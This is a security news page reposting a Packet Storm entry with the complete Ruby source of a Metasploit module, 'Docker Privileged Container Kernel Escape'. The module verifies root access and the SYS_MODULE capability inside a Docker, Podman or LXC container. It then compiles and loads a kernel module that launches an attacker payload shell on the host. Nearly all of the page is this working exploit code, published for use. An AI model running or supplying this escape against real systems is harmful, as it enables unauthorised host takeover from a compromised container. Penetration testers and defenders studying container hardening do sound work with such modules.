Security
Headlines
HeadlinesLatestCVEs

Headline

Docker Privileged Container Kernel Escape

This Metasploit module performs a container escape onto the host as the daemon user. It takes advantage of the SYS_MODULE capability. If that exists and the linux headers are available to compile on the target, then we can escape onto the host.

Packet Storm
#linux#git#auth#docker
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Local  Rank = NormalRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Post::File  include Msf::Post::Unix  include Msf::Post::Linux::System  include Msf::Post::Linux::Kernel  include Msf::Exploit::FileDropper  def initialize(info = {})    super(      update_info(        info,        {          'Name' => 'Docker Privileged Container Kernel Escape',          'Description' => %q{            This module performs a container escape onto the host as the daemon            user. It takes advantage of the SYS_MODULE capability. If that            exists and the linux headers are available to compile on the target,            then we can escape onto the host.          },          'License' => MSF_LICENSE,          'Author' => [            'Nick Cottrell <Rad10Logic>', # Module writer            'Eran Ayalon', # PoC/article writer            'Ilan Sokol' # PoC/article writer          ],          'Platform' => %w[linux unix],          'Arch' => [ARCH_CMD],          'Targets' => [['Automatic', {}]],          'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 20 },          'SessionTypes' => %w[shell meterpreter],          'DefaultTarget' => 0,          'References' => [            %w[URL https://www.cybereason.com/blog/container-escape-all-you-need-is-cap-capabilities],            %w[URL https://github.com/maK-/reverse-shell-access-kernel-module]          ],          'DisclosureDate' => '2014-05-01', # Went in date of commits in github URL          'Notes' => {            'Stability' => [ CRASH_SAFE ],            'Reliability' => [ REPEATABLE_SESSION ],            'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]          }        }      )    )    register_advanced_options([      OptString.new('KernelModuleName', [true, 'The name that the kernel module will be called in the system', rand_text_alpha(8)], regex: /^[\w-]+$/),      OptString.new('WritableContainerDir', [true, 'A directory where we can write files in the container', "/tmp/.#{rand_text_alpha(4)}"])    ])  end  # Check we have all the prerequisites to perform the escape  def check    # Checking database if host has already been disclosed as a container    container_name =      if active_db? && framework.db.workspace.hosts.where(address: session.session_host)&.first&.virtual_host        framework.db.workspace.hosts.where(address: session.session_host)&.first&.virtual_host      else        get_container_type      end    unless %w[docker podman lxc].include?(container_name.downcase)      return Exploit::CheckCode::Safe('Host does not appear to be container of any kind')    end    # is root user    unless is_root?      return Exploit::CheckCode::Safe('Exploit requires root inside container')    end    # Checking if the SYS_MODULE capability is enabled    capability_bitmask = read_file('/proc/1/status')[/^CapEff:\s+[0-9a-f]{16}$/][/[0-9a-f]{16}$/].to_i(16)    unless capability_bitmask & 0x0000000000010000 > 0      return Exploit::CheckCode::Safe('SYS_MODULE Capability does not appear to be enabled')    end    CheckCode::Vulnerable('Inside Docker container and target appears vulnerable.')  end  def exploit    krelease = kernel_release    # Check if kernel header folders exist    kernel_headers_path = [      "/lib/modules/#{krelease}/build",      "/usr/src/kernels/#{krelease}"    ].find { |path| directory?(path) }    unless kernel_headers_path      fail_with(Failure::NoTarget, 'Kernel headers for this target do not appear to be installed.')    end    vprint_status("Kernel headers found at: #{kernel_headers_path}")    # Check that our required binaries are installed    unless command_exists?('insmod')      fail_with(Failure::NoTarget, 'insmod does not appear to be installed.')    end    unless command_exists?('make')      fail_with(Failure::NoTarget, 'make does not appear to be installed.')    end    # Check that container directory is writable    if directory?(datastore['WritableContainerDir']) && !writable?(datastore['WritableContainerDir'])      fail_with(Failure::BadConfig, "#{datastore['WritableContainerDir']} is not writable")    end    # Checking that kernel module isn't already running    if kernel_modules.include?(datastore['KernelModuleName'])      fail_with(Failure::BadConfig, "#{datastore['KernelModuleName']} is already loaded into the kernel. You may need to remove it manually.")    end    # Creating source files    print_status('Creating files...')    mkdir(datastore['WritableContainerDir']) unless directory?(datastore['WritableContainerDir'])    write_kernel_source(datastore['KernelModuleName'], payload.encoded)    write_makefile(datastore['KernelModuleName'])    register_files_for_cleanup([      "#{datastore['KernelModuleName']}.c",      'Makefile'    ].map { |filename| File.join(datastore['WritableContainerDir'], filename) })    # Making exploit    print_status('Compiling the kernel module...')    results = cmd_exec("make -C '#{datastore['WritableContainerDir']}' KERNEL_DIR='#{kernel_headers_path}' PWD='#{datastore['WritableContainerDir']}'")    vprint_status('Make results')    vprint_line(results)    register_files_for_cleanup([      'Module.symvers',      'modules.order',      "#{datastore['KernelModuleName']}.mod",      "#{datastore['KernelModuleName']}.mod.c",      "#{datastore['KernelModuleName']}.mod.o",      "#{datastore['KernelModuleName']}.o"    ].map { |filename| File.join(datastore['WritableContainerDir'], filename) })    # Checking if kernel file exists    unless file_exist?("#{datastore['WritableContainerDir']}/#{datastore['KernelModuleName']}.ko")      fail_with(Failure::PayloadFailed, 'Kernel module did not compile. Run with verbose to see make errors.')    end    print_good('Kernel module compiled successfully')    # Loading module and running exploit    print_status('Loading kernel module...')    results = cmd_exec("insmod '#{datastore['WritableContainerDir']}/#{datastore['KernelModuleName']}.ko'")    unless results.blank?      results = results.strip      vprint_status('Insmod results: ' + (results.count("\n") == 0 ? results : ''))      vprint_line(results) if results.count("\n") > 0    end  end  def cleanup    # Attempt to remove kernel module    if kernel_modules.include?(datastore['KernelModuleName'])      vprint_status('Cleaning kernel module')      cmd_exec("rmmod #{datastore['KernelModuleName']}")    end    # Check that kernel module was removed    if kernel_modules.include?(datastore['KernelModuleName'])      print_warning('Payload was not a oneshot and cannot be removed until session is ended')      print_warning("Kernel module [#{datastore['KernelModuleName']}] will need to be removed manually")    end    super  end  def write_kernel_source(filename, payload_content)    file_content = <<~SOURCE      #include<linux/init.h>      #include<linux/module.h>      #include<linux/kmod.h>      MODULE_LICENSE("GPL");      static int start_shell(void){      #{Rex::Text.to_c(payload_content, Rex::Text::DefaultWrap, 'command')}      char *argv[] = {"/bin/bash", "-c", command, NULL};      static char *env[] = {      "HOME=/",      "TERM=linux",      "PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL };      return call_usermodehelper(argv[0], argv, env, UMH_WAIT_EXEC);      }      static int init_mod(void){      return start_shell();      }      static void exit_mod(void){      return;      }      module_init(init_mod);      module_exit(exit_mod);    SOURCE    filename = "#{filename}.c" unless filename.end_with?('.c')    write_file(File.join(datastore['WritableContainerDir'], filename), file_content)  end  def write_makefile(filename)    file_contents = <<~SOURCE      obj-m +=#{filename}.o      all:      \tmake -C $(KERNEL_DIR) M=$(PWD) modules      clean:      \tmake -C $(KERNEL_DIR) M=$(PWD) clean    SOURCE    write_file(File.join(datastore['WritableContainerDir'], 'Makefile'), file_contents)  endend

Packet Storm: Latest News

Acronis Cyber Protect/Backup Remote Code Execution